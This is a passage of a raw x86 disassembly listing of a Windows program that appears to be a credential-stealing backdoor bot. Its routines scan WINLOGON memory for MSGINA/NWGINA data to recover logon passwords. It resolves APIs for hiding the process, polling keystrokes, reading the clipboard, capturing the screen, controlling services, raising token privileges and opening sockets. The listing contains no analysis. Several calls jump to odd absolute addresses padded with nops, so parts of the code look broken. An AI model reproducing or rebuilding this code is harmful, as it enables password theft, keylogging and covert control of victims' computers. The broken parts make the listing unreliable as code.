		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_18]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D3h
		pop	edi
		pop	esi
sub_409037	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_409209	proc near		; CODE XREF: sub_409037+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4240EC
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_4240E8
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_43AA44
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 270039Ch
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_43AA44
		test	eax, eax
		jnz	short loc_4092F6
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4092F6
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4092F6

loc_409292:				; CODE XREF: sub_409209+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4092E9
		push	0
		push	0
		call	dword_43AA38
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_43AC48
		test	eax, eax
		jnz	short loc_4092DA
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40930E

loc_4092DA:				; CODE XREF: sub_409209+AAj
		test	edi, edi
		jz	short loc_4092E5
		push	edi
		call	dword_43AA40

loc_4092E5:				; CODE XREF: sub_409209+D3j
		mov	eax, [esp+28h+var_10]

loc_4092E9:				; CODE XREF: sub_409209+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_409292

loc_4092F6:				; CODE XREF: sub_409209+6Dj
					; sub_409209+7Aj ...
		xor	edi, edi

loc_4092F8:				; CODE XREF: sub_409209+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 270039Ch
		mov	eax, edi

loc_409306:				; CODE XREF: sub_409209+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------

loc_40930E:				; CODE XREF: sub_409209+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_409377
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax

loc_409324:				; CODE XREF: sub_409209+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40938B
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409369
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax

loc_409369:				; CODE XREF: sub_409209+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_409324

loc_409377:				; CODE XREF: sub_409209+10Fj
		test	edi, edi
		jz	short loc_409382
		push	edi
		call	dword_43AA40

loc_409382:				; CODE XREF: sub_409209+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4092F8
; ---------------------------------------------------------------------------

loc_40938B:				; CODE XREF: sub_409209+13Cj
		xor	eax, eax
		jmp	loc_409306
sub_409209	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409392	proc near		; CODE XREF: sub_409037+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 2720561h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_4093BB
		xor	eax, eax
		jmp	loc_409536
; ---------------------------------------------------------------------------

loc_4093BB:				; CODE XREF: sub_409392+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	near ptr 2720000h
		nop
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_4240EC
		push	8
		call	esi
		mov	edi, dword_4240E8
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_4240F4
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_40940B
		xor	esi, esi
		jmp	loc_409529
; ---------------------------------------------------------------------------

loc_40940B:				; CODE XREF: sub_409392+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 2710B37h
		test	eax, eax
		jz	loc_409518
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_409518
		test	[ebp+var_2B], 1
		jnz	loc_409518
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_409518

loc_40946E:				; CODE XREF: sub_409392+112j
		push	edi
		push	offset dword_439A38
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409496
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_43A238
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4094A6

loc_409496:				; CODE XREF: sub_409392+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_409518
		jmp	short loc_40946E
; ---------------------------------------------------------------------------

loc_4094A6:				; CODE XREF: sub_409392+102j
		test	edi, edi
		jz	short loc_409518
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 26A0000h
		test	eax, eax
		jz	short loc_4094E1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	near ptr 2690941h
		nop
		test	eax, eax
		jz	short loc_4094E1
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax

loc_4094E1:				; CODE XREF: sub_409392+12Bj
					; sub_409392+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_43AC5C, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_43AC54, eax
		mov	dword_43AC58, edi

loc_409518:				; CODE XREF: sub_409392+90j
					; sub_409392+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 270039Ch
		mov	esi, [ebp+var_10]

loc_409529:				; CODE XREF: sub_409392+74j
		push	[ebp+var_4]
		nop
		call	near ptr 26319EBh
		pop	edi
		mov	eax, esi
		pop	ebx

loc_409536:				; CODE XREF: sub_409392+24j
		pop	esi
		leave
		retn
sub_409392	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409539	proc near		; CODE XREF: sub_409037:loc_40912Fp

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 2720561h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_40962B
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 2720000h
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_409622
		mov	edi, dword_4240EC

loc_409584:				; CODE XREF: sub_409539+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 2710B37h
		test	eax, eax
		jz	short loc_409610
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_409616
		test	[ebp+var_13], 1
		jnz	short loc_409616
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 2710000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 2710E01h
		test	eax, eax
		jz	short loc_409602
		push	offset dword_439A38
		push	esi
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409602
		lea	eax, [esi+400h]
		push	offset dword_43A238
		push	eax
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409632

loc_409602:				; CODE XREF: sub_409539+9Fj
					; sub_409539+B0j
		push	esi
		push	0
		call	edi
		push	eax
		call	near ptr 270039Ch
		nop
		jmp	short loc_409616
; ---------------------------------------------------------------------------

loc_409610:				; CODE XREF: sub_409539+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax

loc_409616:				; CODE XREF: sub_409539+71j
					; sub_409539+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_409584

loc_409622:				; CODE XREF: sub_409539+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 26319EBh

loc_40962B:				; CODE XREF: sub_409539+1Ej
		xor	eax, eax

loc_40962D:				; CODE XREF: sub_409539+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_409632:				; CODE XREF: sub_409539+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_43AC54, ebx
		mov	dword_43AC58, eax
		cmp	[eax], cl
		jnz	short loc_409654
		cmp	[eax+1], cl
		jz	short loc_40965C

loc_409654:				; CODE XREF: sub_409539+114j
					; sub_409539+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_409654

loc_40965C:				; CODE XREF: sub_409539+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		call	near ptr 26319EBh
		nop
		push	1
		pop	eax
		jmp	short loc_40962D
sub_409539	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40966F	proc near		; CODE XREF: sub_409037+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_43AC50
		push	esi
		mov	esi, dword_4240EC
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 2710000h
		mov	ecx, dword_43AC50
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_43AC58
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_43AC5C
		push	eax
		call	dword_43AA3C
		push	[ebp+var_4]
		mov	edi, offset dword_43AA48
		push	offset dword_439A38
		push	offset dword_43A238
		push	[ebp+arg_0]
		push	offset unk_42CDC0
		push	200h
		push	edi
		call	sub_41782A
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		call	near ptr 270039Ch
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_40966F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409706	proc near		; CODE XREF: sub_409037:loc_409173p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_43AC50
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	near ptr 2710ACEh
		nop
		push	eax
		call	near ptr 2710000h
		nop
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_43A238
		mov	edi, 200h
		mov	esi, offset dword_439838

loc_40974C:				; CODE XREF: sub_409706+FAj
		mov	eax, dword_43AC50
		add	eax, eax
		push	eax
		push	dword_43AC58
		push	[ebp+var_14]
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_43AA3C
		mov	eax, dword_43AC50
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4097C1

loc_409789:				; CODE XREF: sub_409706+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4097DE
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_4097AD
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_4097AD
		cmp	dl, 20h
		jnb	short loc_4097A7
		and	[ebp+var_8], 0

loc_4097A7:				; CODE XREF: sub_409706+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_4097B1

loc_4097AD:				; CODE XREF: sub_409706+90j
					; sub_409706+96j
		and	[ebp+var_8], 0

loc_4097B1:				; CODE XREF: sub_409706+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_409789
		cmp	[ebp+var_8], 0
		jz	short loc_4097DE

loc_4097C1:				; CODE XREF: sub_409706+81j
		push	[ebp+var_14]
		push	offset dword_439A38
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42CDC0
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 1Ch
		jmp	short loc_4097F6
; ---------------------------------------------------------------------------

loc_4097DE:				; CODE XREF: sub_409706+87j
					; sub_409706+B9j
		push	offset dword_439A38
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42CE2C
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 18h

loc_4097F6:				; CODE XREF: sub_409706+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_40974C
		push	[ebp+var_14]
		push	0
		call	near ptr 2710ACEh
		nop
		push	eax
		nop
		call	near ptr 270039Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409706	endp


; =============== S U B	R O U T	I N E =======================================



sub_40981F	proc near		; CODE XREF: ___:0040E6F1p
		push	ebx
		push	ebp
		mov	ebp, dword_424100
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4240DC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_40993F
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_43AE44, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_43ADB8, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_43AD9C, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_43ACB8, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_43AC64, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_43AC94, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_43AD08, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_43ADF8, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_43AE54, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_43ACC4, eax
		call	esi
		cmp	dword_43AE44, ebx
		mov	dword_43ACAC, eax
		jz	short loc_40991D
		cmp	dword_43ADB8, ebx
		jz	short loc_40991D
		cmp	dword_43AD9C, ebx
		jz	short loc_40991D
		cmp	dword_43ACB8, ebx
		jz	short loc_40991D
		cmp	dword_43AC94, ebx
		jz	short loc_40991D
		cmp	dword_43AD08, ebx
		jz	short loc_40991D
		cmp	dword_43ADF8, ebx
		jz	short loc_40991D
		cmp	dword_43AE54, ebx
		jz	short loc_40991D
		cmp	dword_43ACC4, ebx
		jz	short loc_40991D
		cmp	eax, ebx
		jnz	short loc_409927

loc_40991D:				; CODE XREF: sub_40981F+B8j
					; sub_40981F+C0j ...
		mov	dword_43AE58, 1

loc_409927:				; CODE XREF: sub_40981F+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_43ADD0, eax
		jz	short loc_409954
		push	1
		push	ebx
		call	eax
		jmp	short loc_409954
; ---------------------------------------------------------------------------

loc_40993F:				; CODE XREF: sub_40981F+1Dj
		nop
		call	near ptr 265031Fh
		mov	dword_43AE5C, eax
		mov	dword_43AE58, 1

loc_409954:				; CODE XREF: sub_40981F+117j
					; sub_40981F+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 2700000h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409A69
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_43ADF4, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_43ADA4, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_43AD38, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_43AE48, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_43AD68, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_43AD88, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_43ADEC, eax
		call	esi
		cmp	dword_43ADF4, ebx
		mov	dword_43ACE0, eax
		jz	short loc_409A0D
		cmp	dword_43ADA4, ebx
		jz	short loc_409A0D
		cmp	dword_43AD38, ebx
		jz	short loc_409A0D
		cmp	dword_43AE48, ebx
		jz	short loc_409A0D
		cmp	dword_43AD68, ebx
		jz	short loc_409A0D
		cmp	dword_43AD88, ebx
		jz	short loc_409A0D
		cmp	dword_43ADEC, ebx
		jz	short loc_409A0D
		cmp	eax, ebx
		jnz	short loc_409A17

loc_409A0D:				; CODE XREF: sub_40981F+1B8j
					; sub_40981F+1C0j ...
		mov	dword_43AE60, 1

loc_409A17:				; CODE XREF: sub_40981F+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_43AD64, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_43AC78, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_43AD34, eax
		call	esi
		cmp	dword_43AD64, ebx
		mov	dword_43AD20, eax
		jz	short loc_409A74
		cmp	dword_43AC78, ebx
		jz	short loc_409A74
		cmp	dword_43AD34, ebx
		jz	short loc_409A74
		cmp	eax, ebx
		jnz	short loc_409A7E
		jmp	short loc_409A74
; ---------------------------------------------------------------------------

loc_409A69:				; CODE XREF: sub_40981F+144j
		nop
		call	near ptr 265031Fh
		mov	dword_43AE64, eax

loc_409A74:				; CODE XREF: sub_40981F+232j
					; sub_40981F+23Aj ...
		mov	dword_43AE60, 1

loc_409A7E:				; CODE XREF: sub_40981F+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409C19
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_43AE08, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_43AD4C, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_43ADBC, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_43ACA4, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_43AD04, eax
		call	esi
		cmp	dword_43AE08, ebx
		mov	dword_43AD74, eax
		jz	short loc_409B09
		cmp	dword_43AD4C, ebx
		jz	short loc_409B09
		cmp	dword_43ADBC, ebx
		jz	short loc_409B09
		cmp	dword_43ACA4, ebx
		jz	short loc_409B09
		cmp	dword_43AD04, ebx
		jz	short loc_409B09
		cmp	eax, ebx
		jnz	short loc_409B13

loc_409B09:				; CODE XREF: sub_40981F+2C4j
					; sub_40981F+2CCj ...
		mov	dword_43AE68, 1

loc_409B13:				; CODE XREF: sub_40981F+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_43AD7C, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_43AD54, eax
		call	esi
		cmp	dword_43AD7C, ebx
		mov	dword_43AE04, eax
		jz	short loc_409B4E
		cmp	dword_43AD54, ebx
		jz	short loc_409B4E
		cmp	eax, ebx
		jnz	short loc_409B58

loc_409B4E:				; CODE XREF: sub_40981F+321j
					; sub_40981F+329j
		mov	dword_43AE68, 1

loc_409B58:				; CODE XREF: sub_40981F+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_43AD8C, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_43AC80, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_43AC88, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_43ACE8, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_43ACEC, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_43AC9C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_43AD58, eax
		call	esi
		cmp	dword_43AD8C, ebx
		mov	dword_43AC8C, eax
		jz	short loc_409BFC
		cmp	dword_43AC80, ebx
		jz	short loc_409BFC
		cmp	dword_43AC88, ebx
		jz	short loc_409BFC
		cmp	dword_43ACE8, ebx
		jz	short loc_409BFC
		cmp	dword_43ACEC, ebx
		jz	short loc_409BFC
		cmp	dword_43AC9C, ebx
		jz	short loc_409BFC
		cmp	dword_43AD58, ebx
		jz	short loc_409BFC
		cmp	eax, ebx
		jnz	short loc_409C06

loc_409BFC:				; CODE XREF: sub_40981F+3A7j
					; sub_40981F+3AFj ...
		mov	dword_43AE68, 1

loc_409C06:				; CODE XREF: sub_40981F+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_43AC84, eax
		jnz	short loc_409C2E
		jmp	short loc_409C24
; ---------------------------------------------------------------------------

loc_409C19:				; CODE XREF: sub_40981F+26Aj
		nop
		call	near ptr 265031Fh
		mov	dword_43AE6C, eax

loc_409C24:				; CODE XREF: sub_40981F+3F8j
		mov	dword_43AE68, 1

loc_409C2E:				; CODE XREF: sub_40981F+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409CFA
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_43AD84, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_43ADDC, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_43ADE4, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_43ADA0, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_43ACC8, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_43AC74, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_43ADE0, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_43AC60, eax
		call	esi
		cmp	dword_43AD84, ebx
		mov	dword_43ACFC, eax
		jz	short loc_409D05
		cmp	dword_43ADDC, ebx
		jz	short loc_409D05
		cmp	dword_43ADE4, ebx
		jz	short loc_409D05
		cmp	dword_43ADA0, ebx
		jz	short loc_409D05
		cmp	dword_43ACC8, ebx
		jz	short loc_409D05
		cmp	dword_43AC74, ebx
		jz	short loc_409D05
		cmp	dword_43ADE0, ebx
		jz	short loc_409D05
		cmp	dword_43AC60, ebx
		jz	short loc_409D05
		cmp	eax, ebx
		jnz	short loc_409D0F
		jmp	short loc_409D05
; ---------------------------------------------------------------------------

loc_409CFA:				; CODE XREF: sub_40981F+41Aj
		nop
		call	near ptr 265031Fh
		mov	dword_43AE74, eax

loc_409D05:				; CODE XREF: sub_40981F+49Bj
					; sub_40981F+4A3j ...
		mov	dword_43AE70, 1

loc_409D0F:				; CODE XREF: sub_40981F+4D7j
		mov	ebp, dword_4240E0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409FCB
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_43AD10, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_43AE3C, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_43ACB4, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_43AC90, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_43AD44, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_43AD2C, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_43ACF8, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_43AE18, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_43AE34, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_43AD40, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_43AE24, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_43ADD8, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_43AD98, eax
		call	esi
